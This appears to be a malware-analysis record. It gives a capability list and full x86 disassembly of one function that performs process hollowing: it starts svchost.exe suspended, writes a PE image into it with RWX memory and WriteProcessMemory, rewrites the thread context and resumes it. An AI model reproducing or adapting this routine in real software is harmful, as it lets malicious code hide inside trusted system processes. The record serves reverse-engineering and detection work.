Function at 0x4001a88
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Query environment variable
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor edi, edi
cmp ebx, edi
je 0x4001cbc
push 0x104
lea eax, [ebp - 0x16c]
push eax
push str.SystemRoot
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push str._system32_svchost.exe
lea eax, [ebp - 0x16c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x10
lea eax, [ebp - 0x14]
push edi
push eax
call fcn.04004174
push 0x44
pop esi
push esi
lea eax, [ebp - 0x68]
push edi
push eax
call fcn.04004174
mov dword [ebp - 0x68], esi
mov esi, dword [ebx + 0x3c]
add esi, ebx
movzx eax, word [esi + 0x14]
add esp, 0x18
lea eax, [eax + esi + 0x18]
push 0x40
mov dword [ebp - 0x24], eax
mov eax, dword [esi + 0x50]
mov ebx, 0x3000
push ebx
push eax
push edi
mov dword [ebp - 0x20], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
cmp eax, edi
je 0x4001cbc
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x68]
push eax
push edi
push edi
push 4
push edi
push edi
push edi
lea eax, [ebp - 0x16c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4001b50
push 0x8000
push edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x4001cbc
push 0x40
push ebx
push dword [ebp - 0x20]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push dword [esi + 0x34]
push dword [ebp - 0x14]
call ebx
mov dword [ebp - 0x18], eax
cmp eax, edi
jne 0x4001b9e
push 0x40
push 0x103000
push dword [ebp - 0x20]
push edi
push dword [ebp - 0x14]
call ebx
mov dword [ebp - 0x18], eax
cmp eax, edi
jne 0x4001b9e
push edi
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
jmp 0x4001b3c
push dword [esi + 0x54]
push dword [ebp + 8]
push dword [ebp - 4]
call fcn.04004094
xor eax, eax
add esp, 0xc
mov dword [ebp - 0x1c], edi
cmp ax, word [esi + 6]
jae 0x4001be7
mov ebx, dword [ebp - 0x24]
add ebx, 0x14
mov eax, dword [ebx]
add eax, dword [ebp + 8]
push dword [ebx - 4]
push eax
mov eax, dword [ebx - 8]
add eax, dword [ebp - 4]
push eax
call fcn.04004094
movzx eax, word [esi + 6]
add esp, 0xc
inc dword [ebp - 0x1c]
add ebx, 0x28
cmp dword [ebp - 0x1c], eax
jb 0x4001bc0
push dword [ebp - 0x18]
push dword [ebp - 4]
call fcn.040018df
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
pop ecx
pop ecx
push edi
push dword [ebp - 0x20]
push dword [ebp - 4]
push dword [ebp - 0x18]
push dword [ebp - 0x14]
call ebx
test eax, eax
je 0x4001b82
push 0x8000
push edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea eax, [ebp - 0x438]
push eax
push dword [ebp - 0x10]
mov dword [ebp - 0x438], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push edi
test eax, eax
jne 0x4001c58
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
jmp 0x4001cba
push 4
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x394]
add eax, 8
push eax
push dword [ebp - 0x14]
call ebx
test eax, eax
jne 0x4001c74
push edi
jmp 0x4001c3f
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x388], eax
lea eax, [ebp - 0x438]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x4001ca2
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebp - 0x14]
jmp 0x4001cbe
push edi
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x14]
call esi
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret